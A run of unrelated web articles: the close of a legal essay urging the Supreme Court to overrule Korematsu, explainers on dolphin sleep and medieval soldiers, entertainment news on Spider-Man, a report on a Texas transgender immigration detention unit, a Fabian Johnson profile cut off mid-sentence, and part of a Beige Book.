For more than half a century, well-socialized constitutional lawyers pushed Jackson’s warning to the margins of their consciousness. Nobody, the thinking went, would ever try to win a case by relying on Korematsu, because the racism with which Korematsu is associated was so clearly beyond the acceptable norms of American government. Within the culture of American law, Korematsu had become an anti-canonical decision: Every student of constitutional law studies it as an object lesson in what courts should not do. But events of the past two years demonstrate how quickly a consensus about political norms can dissolve. The Trump campaign and the Trump administration have shattered any number of norms that officials of both political parties long took for granted. And indeed, shortly after last November’s election, at least one high-profile Trump supporter publicly adduced Korematsu as precedent when arguing for the permissibility of race- and religion-based immigration controls. To this point, the actual Justice Department lawyers arguing in defense of the travel ban have declined to rely on Korematsu. But given how far the boundaries of acceptable argument moved in 2015 and 2016, it seems naive to rest assured that government lawyers in 2019 or 2022 will still see Korematsu as toxic. It’s likely that they will. But nobody who has been paying attention should think that the relevant unofficial norms are guaranteed to persist. So in the current context, Jackson’s warning seems more pressing than it did four or 40 years ago. There is now a higher premium on unloading the metaphorical weapon and overruling Korematsu officially.
To be sure, the court could strike down the travel ban without mentioning Korematsu at all. As described above, the shortest route to declaring the ban unconstitutional would rest on the religion clauses of the First Amendment, which were not at issue in Korematsu, and a ruling that the president does not enjoy unbounded discretion over immigration policy need not say anything about the extent of the president’s authority over security matters during a time of actual and declared war. But there is little reason to think the Supreme Court will want to avoid Korematsu when it has been handed an invitation to condemn it. And among the justices on the court today, perhaps none will be more attracted to the idea of condemning that past wrong than Kennedy.
Consider, after all, what Kennedy has done when afforded similar opportunities in the past. In 1992, a landmark Kennedy opinion (officially co-written with Justices Sandra Day O’Connor and David Souter, but with a voice that sounds unmistakably Kennedyesque) repudiated the court’s 1896 pro-segregation decision in Plessy v. Ferguson in more forceful terms than the case before him required—and indeed in more forceful terms than appeared in Brown v. Board of Education itself. When striking down school segregation in Brown, the court wrote that the conditions of 1954 called for a different analysis than what the court had offered in 1896. When Kennedy had his chance 38 years later, he went further, insisting that “Plessy was wrong the day it was decided.” And in 2003, in the opinion that overruled Bowers v. Hardwick—the court’s infamous decision upholding anti-sodomy laws—Kennedy reached for the same formula, pronouncing that “Bowers was wrong the day it was decided.”
Plessy, Bowers, and Korematsu are all anti-canonical cases. But Plessy and Bowers have been officially overruled, and Korematsu has not. For Kennedy, who is particularly invested in the grand transgenerational narrative of constitutional law—and perhaps for several of his colleagues as well—issuing opinions that consign such anti-canonical decisions to the ash-heap of history may be among the most satisfying things a justice can do.
In the American system, the Supreme Court acts not just as the adjudicator of specific legal issues but as the most salient narrator of the constitutional tradition. And there is something noble about confessing error, even when it comes too late to help the people whose lives were damaged by the court’s earlier conduct. “Korematsu was wrong the day it was decided” has a pretty good ring. And a justice whom the administration absolutely needs if the travel-ban order is to survive might like to go down in history as the man who said it.Whale sleep patterns are different from land mammals in that they are never really unconscious when they sleep. See more pictures of marine mammals. Digital Vision/ Getty Images
Whales and dolphins are mammals, so in a lot of ways, they are just like human beings. Among other things, they have similar bone structure, are warm-blooded and give birth to "live young." The biggest differences between these animals and human beings are related to our respective environments. Whales and dolphins have a unique respiratory system that lets them spend long periods of time (sometimes 30 minutes or longer) underwater, without taking in any oxygen.
On land, human beings and other mammals breathe involuntarily: If we don't make a decision to breathe or not to breathe, our body will take in air automatically. Because of their undersea environment, whales and dolphins must be conscious breathers: They have to actively decide when to breathe. Consequently, in order to breathe, they have to be conscious. This presents a problem, since mammalian brains need to enter an unconscious state from time to time in order to function correctly (see How Sleep Works to find out why this might be).
There's plenty of time for a dolphin to catch a catnap between trips to the ocean surface, of course, but this isn't a viable option. When you're a conscious breather, it's just not feasible to be completely unconscious -- what if you don't wake up in time? The solution for whales and dolphins is to let one half of the brain sleep at a time. In this way, the animal is never completely unconscious, but it still gets the rest it needs.
Scientists have studied this phenomenon in dolphins, using electroencephalography. In this process, electrodes hooked up to the head measure electricity levels in the brain. The resulting electroencephalograms (EEGs) of dolphin brains demonstrate that in the sleep cycle, half of the dolphin's brain does indeed "shut down" while the other half is still active. Researchers have observed that dolphins are in this state for approximately eight hours a day.
We can't really know what this rest state feels like, but we can make a good guess. It is probably something like the semi-conscious state we experience as we begin to fall asleep. We're pretty close to unconsciousness, but are aware enough of our surroundings to wake up completely if we need to.
And where do dolphins and whales sleep? They could probably sleep anywhere, but it makes sense that they would do it near the surface of the ocean so they can come up for air easily. It's not uncommon to see dolphins "logging," swimming slowly along the surface, with very little movement. Presumably, these are dolphins at rest.
More on Whales and Dolphins He tracks down Kodiak bears, milks venomous snakes and pals around with flying foxes -- he's Jeff Corwin, and his wild adventures range from Kenya to Peru. For more, tune in to Jeff Corwin's shows on Animal Planet.
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War was a common pastime in the middle ages. Nations battled nations, cities battled cities, and villages battled villages. It is no wonder that it is the period that generated some of the greatest soldiers and military units in history. This is a list of the best of the best – the 12 most impressive soldiers of the middle ages.
12 Mamluks
A mamluk was a slave soldier who converted to Islam and served the Muslim caliphs and the Ayyubid sultans during the Middle Ages. Over time, they became a powerful military caste often defeating the Crusaders. On more than one occasion, they seized power for themselves; for example, ruling Egypt in the Mamluk Sultanate from 1250–1517. After mamluks had converted to Islam, many were trained as cavalry soldiers. Mamluks had to follow the dictates of furusiyya, a code that included values such as courage and generosity, and also cavalry tactics, horsemanship, archery and treatment of wounds, etc.
11 Janissary
The Janissaries comprised infantry units that formed the Ottoman sultan’s household troops and bodyguards. The force was created by the Sultan Murad I from Christian slaves in the 14th century and was abolished by Sultan Mahmud II in 1826 with the Auspicious Incident. Initially a small compact force of elite troops, they grew in size and power during the five centuries of their existence until they eventually became a threat to the fabric of the Ottoman empire. In their later years, they mutinied whenever an attempt was made to reform them, deposing and murdering those sultans they regarded as enemies.
10 Billmen
The bill was a polearm used by infantry in Europe in the Viking Age by Vikings and Anglo-Saxons as well as in the 14th, 15th, and 16th centuries. It was a national weapon of the English, but was also common elsewhere, especially in Italy. Derived originally from the agricultural billhook, the bill consisted of a hooked chopping blade with several pointed projections mounted on a staff. The end of the cutting blade curves forward to form a hook, which is the bill’s distinguishing characteristic. In addition, the blade almost universally had one pronounced spike straight off the top like a spear head, and also a hook or spike mounted on the ‘reverse’ side of the blade. One advantage that it had over other polearms was that while it had the stopping power of a spear and the power of an axe, it also had the addition of a pronounced hook. If the sheer power of a swing did not fell the horse or its rider, the bill’s hooks were excellent at finding a chink in the plate armour of cavalrymen at the time, dragging the unlucky horseman off his mount to be finished off with either a sword or the bill itself.
9 Boyar
A boyar or bolyar was a member of the highest rank of the feudal Moscovian, Kievan Rusian, Bulgarian, Wallachian, and Moldavian aristocracies, second only to the ruling princes (in Bulgaria Emperors), from the 10th century through the 17th century. The rank has lived on as a surname in Russia and Finland, where it is spelled “Pajari”. Boyars wielded considerable power through their military support of the Kievan princes. Power and prestige of many of them, however, soon came to depend almost completely on service to the state, family history of service and to a lesser extent, landownership. Ukrainian and “Ruthenian” boyars visually were very simillar to western knights, but after the Mongol invasion their cultural links were mostly lost.
8 Knights Templar
The Poor Fellow-Soldiers of Christ and of the Temple of Solomon, commonly known as the Knights Templar or the Order of the Temple, were among the most famous of the Western Christian military orders. The organization existed for approximately two centuries in the Middle Ages, founded in the aftermath of the First Crusade of 1096, with its original purpose to ensure the safety of the many Christians who made the pilgrimage to Jerusalem after its conquest. Officially endorsed by the Roman Catholic Church around 1129, the Order became a favoured charity throughout Christendom and grew rapidly in membership and power. Templar knights, in their distinctive white mantles with red cross, were among the most skilled fighting units of the Crusades. Non-combatant members of the Order managed a large economic infrastructure throughout Christendom, innovating financial techniques that were an early form of banking, and building many fortifications across Europe and the Holy Land.
7 Crossbowmen
A crossbow is a weapon consisting of a bow mounted on a stock that shoots projectiles, often called bolts. It was created in the Mediterranean and in China separately. A mechanism in the stock holds the bow in its fully-drawn position until it is shot by releasing a trigger. Crossbows played a significant role in the warfare of North Africa, Europe and Asia. Crossbows are used today primarily for target shooting and hunting. The use of crossbows in European warfare dates back to Roman times and is again evident from the battle of Hastings until about 1500 AD. They almost completely superseded hand bows in many European armies in the twelfth century for a number of reasons. Although a longbow could achieve comparable accuracy and faster shooting rate than an average crossbow, crossbows could release more kinetic energy and be used effectively after a week of training, while a comparable single-shot skill with a longbow could take years of practice.
6 Housecarls
Housecarls were household troops, personal warriors and equivalent to a bodyguard to Scandinavian lords and kings. The anglicized term comes from the Old Norse term huskarl or huscarl. They were also called hirth (‘household’) that referred to household troops. The term later came to cover armed soldiers of the household. They were often the only professional soldiers in the kingdom, the rest of the army being made up of militia called the fyrd, peasant levy, and occasionally mercenaries. A kingdom would have fewer than 2,000 Housecarls. In England there may have been as many as 3,000 royal housecarls, and a special tax was levied to provide pay in coin. They were housed and fed at the king’s expense. They formed a standing army of professional soldiers and also had some administrative duties in peacetime as the King’s representatives. The term was often used in contrast to the non-professional fyrd. As an army, the Housecarls were renowned for their superior training and equipment, not only because they constituted a standing army (an ad hoc fighting force of professional soldiers as opposed to militia), but also due to rigorous quality control. For example, one lord passed legislation requiring that all enlistees own a sword with a gold-inlaid hilt. This assured that enlistees were of the economic standing that would permit them to train without financial hindrance and purchase good quality equipment. The most famous army of housecarls is without a doubt the one employed by Harold Godwinson at the Battle of Hastings.
5 Varangian Guard
The Varangians or Varyags, sometimes referred to as Variagians, were Vikings, Norsemen, mostly Swedes, who went eastwards and southwards through what is now Russia, Belarus and Ukraine mainly in the 9th and 10th centuries. Engaging in trade, piracy and mercenary activities, they roamed the river systems and portages of Gardariki, reaching the Caspian Sea and Constantinople. Basil II’s distrust of the native Byzantine guardsmen, whose loyalties often shifted with fatal consequences, as well as the proven loyalty of the Varangians led Basil to employ them as his personal bodyguards. This new force became known as the Varangian Guard. Over the years, new recruits from Sweden, Denmark, and Norway kept a predominantly Scandinavian cast to the organization until the late 11th century. So many Scandinavians left to enlist in the guard that a medieval Swedish law stated that no one could inherit while staying in Greece. In the 11th century, there were also two other European courts that recruited Scandinavians: Kiev Rus c. 980-1060 and London 1018-1066. Steve Runciman, in “The History of the Crusades” noted that by the time of the Emperor Alexius, the Byzantine Varangian Guard was largely recruited from Anglo-Saxons and “others who had suffered at the hands of the Vikings and their cousins the Normans”.
4 Swiss Mercenaries
Swiss mercenaries were soldiers notable for their service in foreign armies, especially the armies of the Kings of France, throughout the Early Modern period of European history, from the Later Middle Ages into the Age of the European Enlightenment. Their service as mercenaries was at its apogee during the Renaissance, when their proven battlefield capabilities made them sought-after mercenary troops. During the Late Middle Ages, mercenary forces grew in importance in Europe, as veterans from the Hundred Years War and other conflicts came to see soldiering as a profession rather than a temporary activity, and commanders sought long-term professionals rather than temporary feudal levies to fight their wars. Swiss mercenaries were valued throughout Late Medieval Europe for the power of their determined mass attack in deep columns with the pike and halberd. Hiring them was made even more attractive because entire ready-made Swiss mercenary contingents could be obtained by simply contracting with their local governments, the various Swiss cantons, the cantons had a form of militia system in which the soldiers were bound to serve and were trained and equipped to do so. It should be noted, however, that the Swiss also hired themselves out individually or in small bands.
3 Cataphract
A cataphract was a form of heavy cavalry used by nomadic eastern Iranian tribes and dynasties and later Ancient Greeks and Romans. Historically the cataphract was a heavily armed and armoured cavalryman who saw action from the earliest days of Antiquity up through the High Middle Ages. Originally, the term referred to a type of armour worn to cover the whole body and that of the horse. Eventually the term described the trooper himself. While cataphracts and knights are given differing names, in battle the cataphract’s role differed little from that of the knight in medieval Europe, though arms and tactics still separated the two. Unlike a knight, a cataphract was merely a soldier off the battlefield and had no fixed political position or role beyond military functions.
2 Halberdiers
A halberd is a two-handed pole weapon that came to prominent use during the 14th and 15th centuries. Possibly the word halberd comes from the German words Halm (staff), and Barte (axe). The halberd consists of an axe blade topped with a spike mounted on a long shaft. It always has a hook or thorn on the back side of the axe blade for grappling mounted combatants. It is very similar to certain forms of the voulge in design and usage. The halberd was 1.5 to 1.8 meters (4 to 6 feet) long. The halberd was cheap to produce and very versatile in battle. As the halberd was eventually refined, its point was more fully developed to allow it to better deal with spears and pikes (also able to push back approaching horsemen), as was the hook opposite the axe head, which could be used to pull horsemen to the ground. Additionally, halberds were reinforced with metal rims over the shaft, thus making effective weapons for blocking other weapons like swords. This capability increased its effectiveness in battle, and expert halberdiers were as deadly as any other weapon masters were. It is said that a halberd in the hands of a Swiss peasant was the weapon that killed the Duke of Burgundy, Charles the Bold, decisively ending the Burgundian Wars, literally in a single stroke. And finally, my own number 1 most impressive medieval military unit.. by far..
1 Longbowmen
A longbow is a type of bow that is tall (roughly equal to the height of a person who uses it), is not significantly recurved and has relatively narrow limbs, that are circular or D-shaped in cross section. A Welsh or English military archer during the 14th and 15th Century was expected to shoot at least ten “aimed shots” per minute. An experienced military longbowman was expected to shoot twenty aimed shots per minute. A typical military longbow archer would be provided with between 60 and 72 arrows at the time of battle, which would last the archer from three to six minutes, at full rate of shooting. Thus, most archers would not loose arrows at this rate, as it would exhaust even the most experienced man. Not only are the arms and shoulder muscles tired from the exertion, but the fingers holding the bowstring become strained; therefore, actual rates of fire in combat would vary considerably. Ranged volleys at the beginning of the battle would differ markedly from the closer, aimed shots as the battle progressed and the enemy neared. Arrows were not unlimited, so archers and their commanders took every effort to ration their use to the situation at hand. Nonetheless, resupply during battle was available.
Young boys were often employed to run additional arrows to longbow archers while in their positions on the battlefield. “The longbow was the machine gun of the Middle Ages: accurate, deadly, possessed of a long range and rapid rate of fire, the flight of its missiles was likened to a storm.” This rate was much higher than that of its Western European projectile rival on the battlefield, the crossbow. It was also much higher than early firearms (although the lower training requirements and greater penetration of firearms eventually led to the longbow falling into disuse in English armies in the 16th century). Longbows were difficult to master because the force required to deliver an arrow through the improving armour of medieval Europe was very high by modern standards. Although the draw weight of a typical English longbow is disputed, it was at least 360 N (80 lbf) and possibly more than 650 N (143 lbf) with some high-end estimates at 900N (202 lbf). Considerable practice was required to produce the swift and effective combat shooting required. Skeletons of longbow archers are recognizably deformed, with enlarged left arms and often bone spurs on left wrists, left shoulders and right fingers.
This article is licensed under the GFDL because it contains quotations from Wikipedia
Contributor: DaVegaShare. Where IS the web-slinger? Where IS the web-slinger?
The directors of Captain America: Civil War have addressed Spider-Man's conspicuous absence in the marketing of their upcoming film.
Anthony & Joe Russo recently told fans at a Collider-hosted Q&A (via Slashfilm) that good old fashioned studio politics - in this instance, between Marvel and Sony - are the reason we haven't yet seen Tom Holland suited up.
"Part of the reasons of what was so secretive was that the deals were always lagging slightly behind how we were using the character" said the directors. "We were always in danger of upsetting the deal—there were still sensitive issues going on between the two studios that they needed to agree on. When we were casting Tom Holland, when we were screen-testing him for the movie there was a whole very involved kind of process that was under the radar and secretive, because of the fact that it was still a sensitive business issue.
...The reason why I preface that is we’re still kind of in “deal zone”. The reason why we still won’t talk about [the costume] is that Marvel and Sony still have to work out what uses they have for the character, on a promotional level, on a commercial level. There’s still complications as far as that goes that involves business deals."
Exit Theatre Mode
So there you have it - there's still a wait until we see Spidey plastered across backpacks in Target. Here's hoping we catch a glimpse of him before Captain America: Civil War's May 6 release date.
Lucy O'Brien is Entertainment Editor at IGN’s AU office. Follow her ramblings on Twitter.When Leah Aguilera was held in a special section of the Santa Ana City Jail in California for transgender people, who were being detained by immigration officials, she experienced a delay and pushback for her request for hormones and disparaging remarks for being transgender.
“The only thing I was thinking is that I want to get out. I really want to get out,” she says. “I was getting in, like, depression. I didn’t know how long I was going to be there.”
Aguilera, now 24, spent more than a year in the country’s first immigration detention facility with an official separate housing unit for transgender detainees. She was detained in 2015 and released last year.
The federal government will open another such facility next week, if everything goes according to plan. This time, it will be in Alvarado, Texas, about 40 miles southwest of Dallas. It’s concerning advocates in the state, but city officials say the facility will help their local economy.
About 700 migrants are expected to be housed at the Prairieland Detention Center, including a separate 36-bed unit for trans individuals. The center will be operated by the private prison company Emerald Correctional Management LLC, based on a five-year contract after which the city will vote again to decide if they want to continue their partnership.
Also: 20 years ago, asylum seekers were not automatically put in immigration detention
Clint Davis, city manager of Alvarado, says there hasn’t been much local opposition to the detention center and the trans unit. He says the community’s response has been positive, and that more than 200 jobs are expected to be created within their city, which has a population of about 4,000 people. Alvarado is part of Johnson County, which has about 4 percent unemployment, according to the latest Department of Labor data.
Alvarado's downtown square. There are about 4,000 people in this city, which is about 40 miles from Dallas. A new immigration detention facility will hold as many as 700 people. Credit: Danny Burton/Wikimedia Commons
Texas led the nation in fiscal year 2015 as the state with the most migrants going through its immigration detention centers. According to data from the Transactional Access Records Clearinghouse at Syracuse University, about 300,000 migrants went through Texas facilities that year.
But Aguilera and others say they are concerned about this new facility for transgender people because of what happened in Santa Ana. After an outcry from advocates and neighbors, the city decided not to renew its contract with the federal government to house immigrant detainees. The transgender unit is expected to close in 2020.
Christina Fialho is the co-executive director of CIVIC, an organization that monitors the conditions of about 40 detention centers across the nation. She says the Santa Ana transgender unit was created in response to problems LGBT migrant detainees were facing while in confinement. In 2011, 13 asylum-seekers from across the country filed a complaint that stated detainees suffered from sexual assault, long-term solitary confinement and denial of adequate medical care while detained with the general population (PDF).
But the problems, Fialho says, continued in California’s transgender pod. She says Immigration and Customs Enforcement does not protect trans women in confinement.
“We received reports of trans women who are told by guards to use their male voice and act male on an almost daily basis,” says Fialho. “Even more horrific is the sexual assault that occurs throughout the immigration detention system, including at the Santa Ana City Jail, in the form of unlawful and degrading strip searches.”
She also says they were still not receiving their hormone therapy medication on time and says there were delays in the transfer of detainees’ medical records.
Jorge Molina, an immigration attorney in Dallas, says the Department of Homeland Security reached out to him and other local lawyers and civil rights groups in May to form a kind of advisory committee to ensure the Texas facility does not meet the same fate as the Santa Ana one.
The first meeting, he says, took place in June with DHS, ICE and Emerald Correctional Management LLC.
“One thing they said is, ‘We want this to be a flagship detention facility across the United States, not just in Texas,’” Molina says.
Molina and others suggested “know your rights” legal services for detainees and the opportunity to identify issues and advise immigration authorities and administrators on how to improve.
However, no official agreements were made. Molina says another meeting was scheduled to take place in November, after the presidential election, but it was canceled. It wasn’t until last week that ICE allowed Molina and local organizations to tour the new facility before it opens.
Andrea Aguilar is the managing attorney at RAICES in Dallas-Fort Worth, which provides legal representation to people in immigration detention. She was also on the tour and says she was told that transgender detainees can also be placed in the small, one-bed cells or among the general population with men or women.
“The detainee doesn’t make this choice,” Aguilar says. “The people on the TCCC [Transgender Care Classification Committee] will kind of be determining this for the detainee and will take into consideration what they prefer, but it will ultimately be a panel that decides where to place the detainee.”
ICE said in a statement that they are committed to upholding the health, safety and welfare of LGBT individuals in its custody and will implement the guidelines of the “Transgender Care Memorandum” of 2015, which includes the creation of such a committee. They declined to respond to specific questions until the opening of the facility, set for Jan. 16.
ICE has begun to a create a community advisory board to help increase communication about the facility. But such a board is not mandated by policies or laws. They have also told advocates that they will create a legal orientation program, to help detainees understand the law.
For Aguilar, the general information in this kind of program is not enough. “If a detainee has a particular question, they cannot answer case-specific questions,” she says. She wants to help provide them with individual consultations with lawyers.
While in detention, Aguilera says she did feel safer at Santa Ana than at the Las Vegas facility where she was first placed, because at Santa Ana she was housed among other trans women and not in solitary confinement. Since her release last year, she says she wants to help others by getting a degree in criminal justice.
“It’s really hard being inside the detention center and I wouldn’t like none of my girls being in detention, but there’s nothing I can do about it, you know?” says Aguilera. “And it’s really hard to hear they’re going to open another one in Texas.”
Also: She fled abuse in Mexico, and now this trans woman says she was abused in immigration detention too
Alvarado city manager Davis says, though, the new detention center is already a part of his small town. People have been moving into the city to take new jobs.
“We’ve seen some homes purchased by those people moving in, so definitely there’s been an impact on our local economy,” says Davis. “Our gas stations are seeing business and our restaurants are seeing business.”Moenchengladbach’s Fabian Johnson and Manchester City’s Yaya Toure during Champions League match in December. (Jon Super/Associated Press)
MOENCHENGLADBACH, Germany —
Borussia Moenchengladbach took a sizeable step backwards in its quest for a UEFA Champions League spot last Saturday after a 2-1 defeat to Wolfsburg left the club sitting sixth in the German Bundesliga.
If there was any consolation for Gladbach fans, it was in the 26th minute when Fabian Johnson broke with the ball and played Brazilian striker Raffael through for the goal. The Foals may have faltered when it mattered, but their American star was once again on form when others in his side shied from the occasion.
Saturday’s assist was Johnson’s fifth of the season. The 28-year-old winger has also scored eight goals in all competitions, setting a career best.
At Borussia Park, adjacent to the lobby, which houses the club’s trophy cabinet of glistening awards of glory years gone by, a sports bar often welcomes members of the squad and staff. It’s also open to the public. Players politely file past fans on their way to picking up their post-training mixed salad.
Here you’ll find Raffael, Swiss midfielder Granit Xhaka and the club’s general manager, Max Eberl — a man rarely off the TV screens, explaining the club’s multi-million euro deals — thumbing through the daily paper. Yet rather than a horde of feverish fans, the bar is populated by businessmen and locals intent on lunch and respite from the unforgiving rain. Modesty is the name of the game at Gladbach, and it’s clear to see as fans and players alike kindly mind their business in full view of one another.
Amid it all, Johnson’s profile continues to rise. Within three years, Johnson has gone from Wolfsburg’s reserves to Champions League hero for Gladbach whilst also becoming one of the biggest names for Jurgen Klinsmann’s U.S. national team.
The German-born star’s story began in Bavaria in 1996, when he began in the youth set-up for second-tier 1860 Munich. By age 19, he was playing first-team soccer for a club famed for its ability to churn out talent.
“It’s hard to tell,” Johnson said when asked about the club’s secret for developing players. “It’s easier to get going there than, say, Bayern Munich. It’s hard if you have to challenge Arjen Robben or Douglas Costa or someone like that. It’s always good that the step from the youth team to the seniors is made quite easy.”
Johnson made about 100 first-team appearances for 1860 Munich before Bundesliga side Wolfsburg came calling in July 2009. Yet surrounding Johnson’s arrival was a sense of constant upheaval around the Volkswagen-run club, with first-team coach Felix Magath losing his job to Armin Veh the very month the U.S. international joined. Over the course of two years at the club, Johnson worked under no less than six managers, including Magath on two separate occasions.
It’s a point in Johnson’s career that he prefers to look back on constructively. “I had a lot of coaches there and played with some world-class players, as well,” he said. “That helped make me the player I am right now. It’s just sad that I only had 16 games there.”
Fortunately for the player, a loan move to Hoffenheim presented itself, and over the course of three seasons in the southwestern village of Sinsheim, Johnson redefined himself as a versatile, quality Bundesliga player.
In his first season at Hoffenheim, Johnson played no less than nine positions. In his second campaign, he was more defined as the first-choice left back before switching to right back in his third and final season with the club.
“No, it’s not usual,” Johnson said of his numerous roles. “We always had problems in a few positions. If the manager was asking me to play a specific position then, of course, I would play there. It’s never best to sit on the bench and just watch the game.”
Yet while some players may allow such a characteristic to tarnish their ability — jack of all trades, master of none — Johnson thrived on it. That ability to play all over the pitch attracted the attention of Gladbach.
However, a World Cup qualifying match against Costa Rica a year before joining the Foals was what ultimately defined Johnson’s role at the new club. When asked why he had started at Gladbach as a winger rather than his more natural fullback position, Johnson explained:
“It was the coach [Lucien Favre]. He saw me a year before and I was playing left wing for the U.S. I told him I could also play that position. Favre used to say I was too attack-minded for a defender, so he put me on the wing.”
After an impressive performance at the 2014 World Cup in Brazil, Johnson could have succumbed to physical fatigue like many top internationals. Yet he pushed on, and in his debut campaign with Gladbach, he enjoyed a stellar season.
The Foals exceeded all expectation, finishing third in the Bundesliga and earning an automatic qualification spot in the Champions League for the first time since the European competition had been restructured in 1992. Johnson was an ever-present member of that side on the left wing, with crucial assists in victories against top league competitors Borussia Dortmund, Bayer Leverkusen and Wolfsburg.
The player’s stock continued rising last August as he entered the current season. Although Gladbach kicked off the league campaign with five straight defeats in his absence through injury — a run that ultimately forced Favre to leave the club — Johnson returned for a Champions League effort that included a victory over Sevilla, two draws with 2015 finalist Juventus and a narrow defeat to Manchester City.
Following Favre’s resignation in September, Gladbach promoted U23 coach Andre Schubert to the role. Initially intended as a
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’s World Interest Rate Probability data.
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Here’s the Beige Book’s full text:
Overall Economic Activity Economic activity increased in each of the twelve Federal Reserve Districts between mid-February and the end of March, with the pace of expansion equally split between modest and moderate. In addition, the pickup was evident to varying degrees across economic sectors. Manufacturing continued to expand at a modest to moderate pace, although growth in freight shipments slowed slightly. Consumer spending varied as reports of stronger light vehicle sales were accompanied by somewhat softer readings in non-auto retail spending. Tourism and travel activity generally picked up. On balance, reports suggested that residential construction growth accelerated somewhat even as growth in home sales slowed, in part due to a lack of inventory. Nonresidential construction remained strong, but became more mixed in some regions; leasing activity generally improved at a more modest pace. More than half of the reports suggested that loan volumes increased, while only one said they were down modestly. Non-financial services generally continued to expand steadily. Energy-related businesses noted improved conditions while agricultural conditions varied.
Employment and Wages Employment expanded across the nation and increases ranged from modest to moderate during this period. Labor markets remained tight, and employers in most Districts had more difficulty filling low-skilled positions, although labor demand was stronger for higher skilled workers. Modest wage increases broadened, and reports noted bigger increases for workers with skills that are in short supply. A larger number of firms mentioned higher turnover rates and more difficulty retaining workers. A couple of Districts reported that worker shortages and increased labor costs were restraining growth in some sectors, including manufacturing, transportation, and construction. Businesses generally expected labor demand to increase moderately in the next six months, and looked for modest wage growth.
Prices On balance, prices rose modestly since the previous report. Input prices generally increased at a modest rate and outpaced gains in selling prices, which rose only slightly. Price increases were noted for some building materials, such as lumber and concrete, whereas metal prices remained fairly stable. Retail prices rose moderately, on the whole. Energy prices were flat to slightly lower. Reports on agriculture prices varied, with increases in cotton, peanuts, chickens, and hogs, and declines for corn and wheat. Home prices generally moved slightly higher. Businesses mostly expected mild to moderate price growth to persist in the next several months.
Highlights by Federal Reserve District
Boston Overall activity expanded and most business contacts reported modest to moderate increases in revenues. Firms continued to cite difficulty filling selected positions and planned small wage increases, if any. Prices were said to be stable or up slightly. Respondents said their outlook remained positive.
New York Economic activity has expanded modestly. Labor markets remained tight and wages continued to grow moderately. Input cost pressures have remained fairly widespread, while selling prices have continued to increase at a modest pace. Housing markets have improved somewhat except at the high end, while commercial real estate markets have been steady to slacker.
Philadelphia Overall, economic activity continued to rise modestly in the Third District with continued moderate growth among manufacturers and homebuilders. However, activity was essentially flat in several other sectors, including consumer spending. Many contacts remained cautiously optimistic. In general, employment, wages, and prices continued to rise at a modest pace.
Cleveland The economy expanded at a moderate pace, as improved consumer and business expectations have boosted activity levels and hiring for some businesses. Conditions in manufacturing improved, but some manufacturers remain notably cautious. Housing market conditions have cooled slightly but remain above year-ago levels. Pressures from input prices continued to rise.
Richmond Economic activity increased at a slightly faster, but still modest pace. Warmer weather brought out more tourists, and manufacturing continued to rebound amidst stronger new orders, including from overseas. However, tighter margins cut into manufacturers’ capital spending plans. Labor demand strengthened, but skills shortages constrained output in some industries, notably homebuilding. Wages and prices rose at a slightly faster pace.
Atlanta Economic activity increased modestly. The labor market remained tight with firms noting increased use of training programs. Wage pressures were reported for high demand positions. Retail sales were soft. Manufacturers noted a solid increase in new orders and production. Drought and cold weather impacted agriculture conditions.
Chicago Growth continued at a moderate pace. Employment, wages, and manufacturing production grew at moderate rates, while prices, business spending, and construction and real estate activity increased modestly. Consumer spending was flat, financial conditions were little changed, and lower crop prices put further stress on the agricultural sector.
St. Louis Economic activity has continued to increase at a modest pace. Reports from retail contacts suggest a modest uptick in consumer spending after a slow start to the year. District activity in natural resource extraction also improved modestly from the previous report. February District coal production was 10 percent higher than one year ago.
Minneapolis Ninth District economic activity increased modestly during the reporting period. The heavy construction, manufacturing, energy, and mining sectors saw growth, while commercial real estate activity was steady at strong levels. Consumer spending was down, and a wave of retail closures continued across the District, affecting both large and small stores.
Kansas City Economic activity in the Tenth District increased moderately. Manufacturing activity expanded at a strong pace, and energy activity continued to rebound following several years of decline. Consumer spending rose modestly with the exception of autos which fell moderately. Agricultural conditions remained generally weak with some improvement in cattle and soybean markets. Employment was modestly higher, and prices rose slightly.
Dallas Economic activity grew moderately in the Eleventh District. Retail sales growth accelerated slightly, and the nonfinancial services sector continued to expand. The energy sector picked up notably, and a rebound was seen in fabricated metals manufacturing–a segment with strong ties to oil and gas. Employment continued to rise, and prices generally increased, except in retail. Overall outlooks generally improved.
San Francisco Economic activity in the Twelfth District continued to expand at a moderate pace. The labor market continued to tighten. Activity in the retail sector improved moderately, and sales of business services remained strong. Conditions in the agriculture sector expanded modestly, while activity in the manufacturing sector was stable. Contacts reported strong activity in the housing market and moderate growth in overall lending activity.
Federal Reserve Bank of Boston
Summary of Economic Activity Business activity continued to expand in the First District in recent months, with the year-over-year pace of increase said to be modest to moderate. Most responding retailers and all contacted manufacturers and software and information technology services firms reported increases in revenue from a year earlier when contacted in early April. Commercial real estate markets were somewhat mixed in the region. Residential real estate markets across the region saw price increases and sales declines in February compared with a year earlier, which contacts attributed to low inventories. Across sectors, hiring was reportedly modest as were wage increases, while many respondents cited difficulty filling a range of positions. Retailers and manufacturers said some selling prices were up modestly. Most responding firms cited a positive outlook amid some ongoing policy uncertainty.
Employment and Wages Labor markets in the First District continued to tighten somewhat. Many employers sought to add modestly to head counts (although one manufacturer laid off about 4 percent of staff over the last year), while wage increases were modest. Some smaller retailers noted increasing labor costs, in part driven by increases in state minimum wages being implemented over a multi-year period. Restaurant contacts, particularly in heavy tourism regions, expressed concern about possible labor shortages this summer, exacerbated by an expected slowdown in granting H-2B visas. Half of contacted manufacturers were hiring, though none in large numbers; several firms said it was hard to find workers. One respondent said that during a recent six-month attempt to add to staff for a new product, two-thirds of applicants for assembly line jobs were screened out before hiring via math tests and drug tests; of 400 workers hired, only 180 worked out. All software and IT services respondents said they expect to grant wage increases in the low single digits and plan net increases in headcount between zero and 3 percent through the end of the year. They reported that high-skill positions such as engineers and data scientists were increasingly hard to fill, and covering attrition remained a challenge in both technical and unskilled areas; for example, one contact noted difficulty covering very high attrition in a Maine call center.
Prices Business contacts reported modest price increases, if any. Retailers said prices remained steady or were up by only small amounts. Restaurant respondents said their ability to raise menu prices to offset higher labor costs was limited by declines in grocery store prices. Pricing reports from manufacturers were mixed: six of ten contacts said that input prices had not changed; the others generally cited idiosyncratic factors causing price increases. Most manufacturers reported increases in the price of the goods they sell but such increases were not large.
Retail and Tourism Retail contacts consulted for this round reported that comparable-store sales between mid-February and the end of March ranged from slightly down to mid-single digit increases from a year earlier. Some brick and mortar stores have seen a drop in customer traffic, but this was balanced by increases in the average sale amount. The outlook for 2017 is generally optimistic.
